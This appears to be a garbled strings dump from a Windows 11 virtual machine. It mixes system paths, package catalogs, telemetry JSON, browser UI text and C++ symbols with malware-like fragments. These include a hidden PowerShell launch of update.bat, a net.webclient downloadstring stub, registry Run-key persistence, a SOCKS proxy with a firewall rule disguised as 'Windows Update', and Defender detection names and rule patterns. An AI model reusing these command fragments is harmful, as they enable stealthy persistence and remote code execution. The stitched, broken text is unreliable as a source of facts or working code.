S_MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
Microsoft.Windows.FilePickerSRD1
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
contents-search-windows.com/
windowsforiotdevices.com
contents-search-windows.com
ingwindows
C:\WINDOWS\system32\
Microsoft-Windows-
outfileupdate.batstart-process-windowstylehidden-filepath"$env:userprofile\appdata\roaming\update.bat
lf@po:i+00/c:\z1breezilyb.breezilyz2lollipopscussing.jsx.lollipopscussing.js"(..\..\..\..\breezily\lollipopscussing.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
lf@po:i+00/c:\z1breezilyb.breezily2refractorspsychopaths.jsb.refractorspsychopaths.js(-..\..\..\..\breezily\refractorspsychopaths.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
twprovider(windowseventlogs
Fc:\windows\system32\cmd.exe/cstart.\&
!#SCPT:WindowsSandboxConfig.A
c:\windows\systemp
C:\WINDOWS\SYSTEM32
;start-process-windowstyle
lfsifr[asifepo:i+00/c:\v1tiwindows@owhtpv.}
z1tvsystem32b
windows live messeng
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.dependencygraph.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.userfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagefamilyfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagefactory-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.tileviewfactory.cpp
&onecoreuap\windows\dwm\dmanip\onecoretransforms.cpp
onecoreuap\windows\dwm\dmanip\inputmanager.cpp
onecoreuap\windows\dwm\dmanip\pal\mobilecorepal.cpp
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
egsvr32.exe "/u bitsadmin/canceft\windows\curre
 /creat\system32\net.ex
powe\\?\C:\Windows \System32
{$IFDEF MSWINDOWS}
c:\windows\installmsn
9.tmp\encrypt_youtube.bat%:\windows\system32\drivers\etc\hosts%://4
WindowsCreateStringReference
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
9P6RC76MSMMJPrime Video for Windowshttps://store-images.s-microsoft.com/image/apps.9625.14618985536919905.0200ed31-ba4b-4ec5-9676-341e6dc85fe3.03bdbd6e-f187-4068-8b5c-7ba6824df96fen
9P6RC76MSMMJPrime Video pour Windowshttps://store-images.s-microsoft.com/image/apps.9625.14618985536919905.0200ed31-ba4b-4ec5-9676-341e6dc85fe3.03bdbd6e-f187-4068-8b5c-7ba6824df96ffr
r Windowshttps://store-images.s-microsoft.com/image/apps.9625.14618985536919905.0200ed31-ba4b-4ec5-9676-341e6dc85fe3.03bdbd6e-f187-4068-8b5c-7ba6824df96fde
Windows
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\System32\drivers\en-US\processr.sys.mui[PROCESSORWMI]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows.UI.dll
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
objwsh.run"c:\windows\temp\putty.exe"
Wcc:\windowsazure\collectguestlogstemp\
%Microsoft Windows Production PCA 20110
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
	WINDOWS\system32\cmd.exea
USERDOMAIN_ROAMINGPROFILE=Windows11/
us":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8900926Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":36},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"us
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App*
snappedWindows
/Invoke-SocksProxy/main.go-Command "New-NetFirewallRule -DisplayName 'Windows Update' -Direction Outbound -Action Allow-Command "%s%s%s%s%sle -DisplayName %s%s%s %s%s -Direction Outbound -Action Allow-Command "Get-WMIObject Win32_ComputerSystem | Select-Object -ExpandProperty domain
\shellappruntime.exe;%system32%\wordpad.exe
%system32%\lpremove.exe;%system32%\systemsettingsadminflows.exe
%system32%\bootim.exe;%system32%\cidiag.exe;%system32%\genvalobj.exe;%system32%\mdsched.exe;%system32%\msconfig.exe;%system32%\recdisc.exe;%system32%\recoverydrive.exe;%system32%\resetengine.exe;%system32%\rstrui.exe;%system32%\sdclt.exe;%system32%\srtasks.exe;%system32%\systempropertiesadvanced.exe;%system32%\systempropertiescomputername.exe;%system32%\systempropertiesdataexecutionprevention.exe;%system32%\systempropertieshardware.exe;%system32%\systempropertiesprotection.exe;%system32%\systempropertiesremote.exe;%system32%\systemreset.exe;%system32%\vds.exe;%system32%\vdsldr.exe;%system32%\vssvc.exe;%system32%\wbengine.exe
%system32%\mblctr.exe
%system32%\easinvoker.exe;%system32%\vssvc.exe;%system32%\whoami.exe
%system32%\auditpol.exe
%system32%\dsquery.exe;%system32%\filescrn.exe;%system32%\msconfig.exe;%system32%\msdt.exe;%system32%\msinfo32.exe;%system32%\perfmon.exe;%system32%\quickassist.exe;%system32%\storrept.exe;%system32%\vds.exe;%system32%\vdsldr.exe;%system32%\vssadmin.exe;%system32%\wfs.exe
%system32%\tar.exe
%system32%\lpremove.exe
%system32%;%programfiles%\common files\microsoft shared\clicktorun
%system32%\appvclient.exe
%system32%\applicationframehost.exe
%system32%\compmgmtlauncher.exe;%system32%\sdbinst.exe;%windir%\explorer.exe
%system32%\agentservice.exe;%system32%\netsh.exe;%system32%\sppextcomobj.exe
%system32%\applysettingstemplatecatalog.exe;%system32%\agentservice.exe;%system32%\dsadd.exe;%system32%\dsget.exe;%system32%\dsmod.exe;%system32%\dsrm.exe;%system32%\gpfixup.exe
%system32%\shrpubw.exe;%programfiles%\windows kits\10\bin\%version%\x86\oleview.exe
%system32%\vmnat.exe
c:\windows\system32\
LOCALAPPDATA=C:\WINDOWS\system32\config
OS=Windows_NT
NtCompositorNotifyExitWindows
Windows.UI.Xaml.3
tps://login.windows.l!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
	Search.EmbeddedGatherMgr.1 = s 'Windows Search Service Embedded Gathering Manager'
	Search.EmbeddedGatherMgr= s 'Windows Search Service Embedded Gathering Manager'
		ForceRemove {9E175B69-F52A-11D8-B9A5-505054503030} = s 'Windows Search Service Embedded Search Gathering Manager'
	Search.GatherTrx.1= s 'Windows Search Service Gatherer Transaction'
	Search.GatherTrx= s 'Windows Search Service Gatherer Transaction'
		ForceRemove {9E175B6C-F52A-11D8-B9A5-505054503030} = s 'Windows Search Service Gatherer Transaction'
	Search.EmbeddedGatherNotify.1= s 'Windows Search Service Embedded Gatherer Notification'
	Search.EmbeddedGatherNotify= s 'Windows Search Service Embedded Gatherer Notification'
		ForceRemove {9E175B6E-F52A-11D8-B9A5-505054503030} = s 'Windows Search Service Embedded Search Gatherer Notification'
	Search.EmbeddedSearchSvcAdmin.1 = s 'Windows Search Service Embedded Administration'
	Search.EmbeddedSearchSvcAdmin = s 'Windows Search Service Embedded Administration'
		ForceRemove {EDss_GUID}= s 'Windows Search Service Embedded Administration'
	Search.LanguageResource.1= s 'Windows Search Service Gatherer Language Resource Pool'
	Search.LanguageResource= s 'Windows Search Service Gatherer Language Resource Pool'
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.Search.Indexer.Diagnostics
Microsoft.Windows.Search.Indexer
Microsoft.Windows.Search.Indexer.Aggregated.Low
Microsoft.Windows.Search.Indexer.Aggregated.High
Microsoft.Windows.Shell.HardwareRequirements
Microsoft.Windows.Search.Indexer.Aggregated.Normal
Microsoft.Windows.Search.Indexer.Aggregated.Medium
Microsoft.Windows.Search.Indexer.PluginIsolation
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
(@Digest Authentication for Windows
c:\windows\debugc
1onecoreuap\windows\cdp\core\private\CommandServiceCloudNotificationJsonPayload.h
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Windows.Data.WiFi.WiFiProfile
Windows.Data.Nlm.NlmSignature
CloudData.WindowsClient.CloudDataAvailableWnf
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.GetDropTarget
System.Windows.Forms.UnsafeNativeMethods.IEnumUnknown.Reset
System.Windows.Forms.UnsafeNativeMethods.IEnumVariant.Reset
WindowSetLeft
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.Collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Devices.Enumeration.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.h
%Microsoft Windows Production PCA 2011
nologo-noninteractive-windowstylehidden-nopro
\system32\cmd_
Windows.Networking.BackgroundTransfer.Internal
OS=Windows_NT
windows.tbauth
wasWindowsScalingUsed
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbw:
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
U==='windows'){letdst=mem.call(symbols.virtualalloc,0,size,0x1000|0x2000,//mem_commit|mem_reserve
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
38^windows.updateTask
38^windows.preInstalledConfigTask
39^windows.appExtension
c:\windows\system32/mnotepad.exe/c"""&godknowsj
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
\inetdata\winlogon.exe
C:\Program Files\WindowsApps\Microsoft
4b^com.microsoft.windows.e
55^com.microsoft.windows.e
winlogon\noisrevt
windows\system32\\
82^com.microsoft.windows.extensionpackage
83^com.microsoft.windows.extensions.xaml.actionui.common
System.Windows.Markup
WindowsInstallationType
B\windows\currentversion\run","update",,"rundll32.exe""c:\
temRoot%\system32\mswsock.dl
ROOT\Microsoft\Windows\Storage\MS_409
<Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10"H
No WindowsHttpClient instance in the callback, unable to complete request
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsPrincipal
SystemRuntimeWindowsRuntimeUIXaml
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Telnet-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|419~31bf3856ad364e35~amd64~~10.0.2610
!WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll
WindowsAppR
Microsoft.WindowsAppR2
#user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x
windir=C:\WINDOWS
WINDOWS11
WINDOWS11
onecoreuap\shell\twinapi\windowservices\applicationservices\lib\applicationviewserviceidentity.cpp
wWindows
Windows
 Windows
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Windows Web Experience PackMicrosoft %
ByWindowsBinarl
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
WINDOWS11
C:\ProgramData\AxlnstSV\WindowsInstallationAssistant.exeC
%AppData\Roaming\Microsoft\Windows\Start Menu\Program
system32\windowspow
Microsoft.Windows.Audio.DeviceGraph
Microsoft.Windows.UDK.Services.Iris
USERDOMAIN_ROAMINGPROFILE=Windows110
	WINDOWS\system32\cmd.exe?
Assets\WindowsSecurityWideTile.scale-400.png~
winbootdir=C:\WINDOWS
COMSPEC=C:\WINDOWS\COMMAND.COM
PATH=C:\WINDOWS
temRoot%\system32\mswsock.dl
Windows.Client.CBS_cw5n1h2txyewy9
regadd"hkcu\software\microsoft\windows\currentversion\run"/v"
//whichisnecessaryforcorrectfunctionalityofimmersiveie.//however,forwindows8phoneweneedtoresetthems
system32<2cmd.exe&cmd.exek/cstartverificar-cpf-cnpj.js&startgantry_offset_10012024_sn1498.bmp&exit
("%g-windowstylehidden-c(new-objectnet.webclient).downloadstring('
\system32
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\PPLHelpers.h
shellcommon\shell\Windows.UI.Shell\StartDocked\Model\UserContextHelper.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\CXCOMInterop.h
shellcommon\shell\Windows.UI.Shell\StartDocked\Model\TileDataCollectionFactory.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\cxcominterop.h
shellcommon\shell\Windows.UI.Shell\StartDocked\Model\TileData.cpp
    <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    </asmv3:windowsSettings>
WINDOWS11
WINDOWS11
WINDOWS11
c:\windows\syswow64\cryptbase.systemfunction001c:\windows\syswow64\cryptbase.systemfunction002c:\windows\syswow64\cryptbase.systemfunction003c:\windows\syswow64\cryptbase.systemfunction004c:\windows\syswow64\cryptbase.systemfunction005c:\windows\syswow64\cryptbase.systemfunction028c:\windows\syswow64\cryptbase.systemfunction029c:\windows\syswow64\cryptbase.systemfunction034c:\windows\syswow64\cryptbase.systemfunction036c:\windows\syswow64\cryptbase.systemfunction040c:\windows\syswow64\cryptbase.systemfunction041!#ALF:Trojan:Win32/BdApps.A!dha
c:\windows\system32
C:\WINDOWS\MEDIA\DING.WAV>
C:\WINDOWS\MEDIA\NOTIFY.WAV>
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
windows live hotmail - 
c:\windows\system32\
(@Microsoft-Windows-GroupPolicy
tWindows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
diskVolume3\Windows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
94diskVolume3\Windows\System32\backgroundTaskHost.exe
K	diskVolume3\Windows\System32\backgroundTaskHost.exe
iWdiskVolume3\Windows\System32\backgroundTaskHost.exe
[CMDEmbedded]&BRUTE:PowerShell/Get-Content&BRUTE:Cmd&(SCPT:PowerShell/Hidden|SCRIPT:PwSNoWin|SCPT:PowerShell/WindowStyleHidden)&PowerShell:Get-Content&Nscript:Type_ps&LNK_Classifier:HasIconLocation&LNK_Classifier:HasExpIcon&LNK_Classifier:RunMinimize&HasIconLocation!msedge.exeunaLogger.C12
Microsoft.Windows.ProcessLifetimeManager
Microsoft.Windows.Licensing.SppSvc
Microsoft.Windows.TlgAggregateInternal
onecoreuap\base\appmodel\windowmanagement\bamos\server\windowstaticsprincipal.cpp
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@UIComPoolTask@Internal@Windows@@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@UIComPoolTask@Internal@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@UIComPoolTask@Internal@Windows@@@Details@WRL@Microsoft@@
.?AUIComPoolTask@Internal@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGattCharacteristicsResult@GenericAttributeProfile@Bluetooth@Devices@Windows@@PEAUIGattCharacteristicsResult@2345@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@PEAUIWebTokenRequestResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebAccount@Credentials@Security@Windows@@PEAUIWebAccount@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGattSession@GenericAttributeProfile@Bluetooth@Devices@Windows@@PEAUIGattSession@2345@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGattDeviceServicesResult@GenericAttributeProfile@Bluetooth@Devices@Windows@@PEAUIGattDeviceServicesResult@2345@@Internal@Foundation@Windows@@@Foundation@Windows@@
